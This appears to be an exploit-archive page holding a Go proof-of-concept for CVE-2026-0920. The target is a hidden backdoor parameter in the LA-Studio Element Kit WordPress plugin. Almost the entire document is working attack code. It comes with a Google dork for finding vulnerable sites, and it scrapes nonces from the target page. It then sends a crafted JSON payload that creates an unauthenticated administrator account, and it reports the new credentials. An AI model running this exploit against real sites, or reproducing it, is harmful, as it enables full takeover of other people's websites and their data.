4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-0920.go GO
package main

/*
# Exploit Title: WordPress Plugin LA-Studio Element Kit <= 1.5.6.3 - Unauthenticated Admin Account Creation
# Google Dork: inurl:"/wp-content/plugins/lastudio-element-kit"
# Date: 2026-01-22
# Exploit Author: Meysam Bal-afkan
# Vendor Homepage: https://wordpress.org/plugins/lastudio-element-kit/
# Software Link: https://downloads.wordpress.org/plugin/lastudio-element-kit.1.5.6.3.zip
# Version: <= 1.5.6.3
# Tested on: Linux / Windows
# CVE: CVE-2026-0920
#
# Description:
# The plugin contains a critical backdoor vulnerability within the 'ajax_register_handle' function.
# Unauthenticated attackers can exploit the 'lakit_ajax' wrapper by injecting a JSON payload
# containing the hidden parameter 'lakit_bkrole' set to 'administrator'. This bypasses standard
# registration checks and creates a new administrative user, leading to full site takeover.
*/

import (
	"crypto/tls"
	"encoding/json"
	"flag"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"os"
	"regexp"
	"runtime"
	"strings"
	"time"
)

var (
	ColorReset  = "\033[0m"
	ColorRed    = "\033[31m"
	ColorGreen  = "\033[32m"
	ColorYellow = "\033[33m"
	ColorBlue   = "\033[34m"
)

type Config struct {
	TargetURL string
	Username  string
	Email     string
	Password  string
}

type RegisterData struct {
	Username        string `json:"username"`
	Email           string `json:"email"`
	Password        string `json:"password"`
	PasswordConfirm string `json:"password-confirm"`
	LakitConfirm    string `json:"lakit_confirm_password"`
	RegisterNonce   string `json:"lakit-register-nonce"`
	Redirect        string `json:"lakit_redirect"`
	FieldLog        string `json:"lakit_field_log"`
	FieldPwd        string `json:"lakit_field_pwd"`
	FieldCPwd       string `json:"lakit_field_cpwd"`
	BackdoorRole    string `json:"lakit_bkrole"`
}

type RegisterAction struct {
	Action string       `json:"action"`
	Data   RegisterData `json:"data"`
}

type ActionsPayload struct {
	Register RegisterAction `json:"register"`
}

func init() {
	if runtime.GOOS == "windows" {
		ColorReset = ""
		ColorRed = ""
		ColorGreen = ""
		ColorYellow = ""
		ColorBlue = ""
	}
}

func printBanner() {
	fmt.Println(`
    ____                      __   _   __     __ 
   / __ \________  ____ _____/ /  / | / /__  / /_
  / / / / ___/ _ \/ __  / __  /  /  |/ / _ \/ __/
 / /_/ / /  /  __/ /_/ / /_/ /  / /|  /  __/ /_  
/_____/_/   \___/\__,_/\__,_/  /_/ |_/\___/\__/  `)

	fmt.Println("")
	fmt.Println("Telegram: t.me/Dread_Net")
	fmt.Println("")
	fmt.Println(ColorRed + `
   		CVE-2026-0920 Exploit | LA-Studio Element Kit Backdoor
   		Author: Meysam Bal-afkan
    		` + ColorReset)
}

func main() {
	printBanner()

	// Parse Flags
	target := flag.String("u", "", "Target Page URL (e.g., http://localhost/vuln-site/register)")
	username := flag.String("user", "hacker", "Username to create")
	email := flag.String("email", "[email protected]", "Email to create")
	password := flag.String("pass", "P@ssw0rd123!", "Password to set")
	manualNonce := flag.String("nonce", "", "Manual Global Nonce")
	regNonce := flag.String("rnonce", "", "Manual Register Nonce")
	flag.Parse()

	if *target == "" {
		fmt.Println(ColorRed + "[!] Target URL is required. Use -u <url>" + ColorReset)
		return
	}

	config := Config{
		TargetURL: *target,
		Username:  *username,
		Email:     *email,
		Password:  *password,
	}

	client := createClient(15 * time.Second)

	// Step 1: Recon & Scrape Nonces AND Ajax URL
	fmt.Printf(ColorBlue+"[*] Scanning %s for data...\n"+ColorReset, config.TargetURL)

	globalNonce := *manualNonce
	registerNonce := *regNonce
	scrapedAjaxURL := ""

	// Always scrape to find the correct Ajax URL, even if nonces are provided
	scrapedGlobal, scrapedReg, foundAjax, err := scrapePageData(client, config.TargetURL)
	
	if err != nil {
		fmt.Printf(ColorYellow+"[!] Warning: Scrape failed: %v\n"+ColorReset, err)
	} else {
		if globalNonce == "" { globalNonce = scrapedGlobal }
		if registerNonce == "" { registerNonce = scrapedReg }
		scrapedAjaxURL = foundAjax
	}

	// CHECK 1: NONCES
	if globalNonce == "" || registerNonce == "" {
		fmt.Println(ColorRed + "[-] CRITICAL: Failed to obtain necessary nonces." + ColorReset)
		fmt.Println(ColorRed + "[-] Provide nonces manually using -nonce and -rnonce." + ColorReset)
		return
	}

	// CHECK 2: TARGET AJAX URL
	finalAjaxURL := ""
	if scrapedAjaxURL != "" {
		if strings.HasPrefix(scrapedAjaxURL, "http") {
			finalAjaxURL = scrapedAjaxURL
		} else {
			// Handle relative URL (e.g. /wp-admin/admin-ajax.php)
			parsedTarget, _ := url.Parse(config.TargetURL)
			finalAjaxURL = fmt.Sprintf("%s://%s%s", parsedTarget.Scheme, parsedTarget.Host, scrapedAjaxURL)
		}
		fmt.Printf(ColorGreen+"[+] Auto-detected Ajax URL: %s\n"+ColorReset, finalAjaxURL)
	} else {
		u, _ := url.Parse(config.TargetURL)
		finalAjaxURL = fmt.Sprintf("%s://%s/wp-admin/admin-ajax.php", u.Scheme, u.Host)
		if strings.Contains(u.Path, "/vuln-site/") {
			finalAjaxURL = fmt.Sprintf("%s://%s/vuln-site/wp-admin/admin-ajax.php", u.Scheme, u.Host)
		}
		fmt.Printf(ColorYellow+"[!] Warning: Could not find Ajax URL in source. Guessing: %s\n"+ColorReset, finalAjaxURL)
	}

	fmt.Printf(ColorGreen+"[+] Global Nonce: %s\n"+ColorReset, globalNonce)
	fmt.Printf(ColorGreen+"[+] Register Nonce: %s\n"+ColorReset, registerNonce)

	// Step 2: Prepare Payload
	fmt.Println(ColorBlue + "[*] Constructing malicious JSON..." + ColorReset)

	payloadStruct := ActionsPayload{
		Register: RegisterAction{
			Action: "register",
			Data: RegisterData{
				Username:        config.Username,
				Email:           config.Email,
				Password:        config.Password,
				PasswordConfirm: config.Password,
				LakitConfirm:    "true",
				RegisterNonce:   registerNonce,
				Redirect:        config.TargetURL,
				FieldLog:        "no",
				FieldPwd:        "yes",
				FieldCPwd:       "yes",
				BackdoorRole:    "administrator",
			},
		},
	}

	jsonBytes, err := json.Marshal(payloadStruct)
	if err != nil {
		fmt.Printf(ColorRed+"[!] JSON Error: %v\n"+ColorReset, err)
		return
	}

	data := url.Values{}
	data.Set("action", "lakit_ajax")
	data.Set("_nonce", globalNonce)
	data.Set("actions", string(jsonBytes))

	// Step 3: Send Exploit
	fmt.Printf(ColorBlue+"[*] Sending payload to: %s\n"+ColorReset, finalAjaxURL)

	req, _ := http.NewRequest("POST", finalAjaxURL, strings.NewReader(data.Encode()))
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) CVE-2026-0920-Exploit")

	resp, err := client.Do(req)
	if err != nil {
		if os.IsTimeout(err) {
			fmt.Println(ColorRed + "\n[-] Error: Request timed out." + ColorReset)
		} else {
			fmt.Printf(ColorRed+"\n[!] Connection Error: %v\n"+ColorReset, err)
		}
		return
	}
	defer resp.Body.Close()

	body, _ := io.ReadAll(resp.Body)
	respStr := string(body)

	// Step 4: Verify Success
	if resp.StatusCode == 200 && (strings.Contains(respStr, `"success":true`) || strings.Contains(respStr, `"type":"success"`)) {
		fmt.Println(ColorGreen + "\n[+] BOOM! Admin account created successfully!" + ColorReset)
		fmt.Printf(ColorGreen+"    Email: %s\n"+ColorReset, config.Email)
		fmt.Printf(ColorGreen+"    User: %s\n"+ColorReset, config.Username)
		fmt.Printf(ColorGreen+"    Pass: %s\n"+ColorReset, config.Password)
	} else {
		fmt.Println(ColorRed + "\n[-] Exploit failed." + ColorReset)
		// Print only first 300 chars of response to avoid flooding screen with HTML
		if len(respStr) > 300 {
			fmt.Printf("    Response (Truncated): %s...\n", respStr[:300])
		} else {
			fmt.Printf("    Response: %s\n", respStr)
		}
	}
}

// scrapePageData finds nonces AND the correct ajaxurl from the HTML
func scrapePageData(client *http.Client, target string) (string, string, string, error) {
	req, _ := http.NewRequest("GET", target, nil)
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")

	resp, err := client.Do(req)
	if err != nil {
		return "", "", "", err
	}
	defer resp.Body.Close()

	bodyBytes, _ := io.ReadAll(resp.Body)
	body := string(bodyBytes)

	// 1. Scrape Global Nonce
	globalNonce := ""
	reGlobal := regexp.MustCompile(`"ajaxNonce":"([a-zA-Z0-9]+)"`)
	matchGlobal := reGlobal.FindStringSubmatch(body)
	if len(matchGlobal) > 1 {
		globalNonce = matchGlobal[1]
	}

	// 2. Scrape Register Nonce
	registerNonce := ""
	reSpecific := regexp.MustCompile(`"lakit-register-nonce":"([a-zA-Z0-9]+)"`)
	matchSpecific := reSpecific.FindStringSubmatch(body)
	if len(matchSpecific) > 1 {
		registerNonce = matchSpecific[1]
	} else {
		reLakit := regexp.MustCompile(`lakitSubscribeConfig\s*=\s*{[^}]*"nonce":"([a-zA-Z0-9]+)"`)
		matchLakit := reLakit.FindStringSubmatch(body)
		if len(matchLakit) > 1 {
			registerNonce = matchLakit[1]
		}
	}
	if registerNonce == "" && globalNonce != "" {
		registerNonce = globalNonce
	}

	// 3. Scrape Ajax URL (Crucial Fix!)
	// Looks for "ajaxUrl":"..." or "ajax_url":"..."
	ajaxURL := ""
	reAjax := regexp.MustCompile(`"(?:ajaxUrl|ajax_url)":"([^"]+)"`)
	matchAjax := reAjax.FindStringSubmatch(body)
	if len(matchAjax) > 1 {
		// Fix encoded slashes if present (e.g. \/)
		ajaxURL = strings.ReplaceAll(matchAjax[1], `\/`, `/`)
	}

	return globalNonce, registerNonce, ajaxURL, nil
}

func createClient(timeout time.Duration) *http.Client {
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	return &http.Client{
		Transport: tr,
		Timeout:   timeout,
	}
}